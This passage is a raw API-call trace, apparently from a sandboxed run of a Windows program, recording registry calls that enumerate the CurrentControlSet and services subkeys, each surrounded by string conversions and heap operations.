Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.347] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0247.347] RegCloseKey (hKey=0x154) returned 0x0 [0247.347] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0247.347] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1b68, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0247.348] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.348] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.348] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.349] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0247.349] RegCloseKey (hKey=0xc4) returned 0x0 [0247.349] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.349] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1b68, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0247.349] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.349] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.349] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f19b8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.350] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1b68, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.350] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.350] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.350] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0247.350] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f19b8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.351] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1b68, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.351] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f19b8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.351] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.351] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0247.351] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.351] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.352] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f19b8, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.352] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.352] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0247.352] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.353] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.353] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.353] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0247.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0247.353] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0247.353] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0247.354] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0247.354] RegEnumKeyW (in: hKey=0x154, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 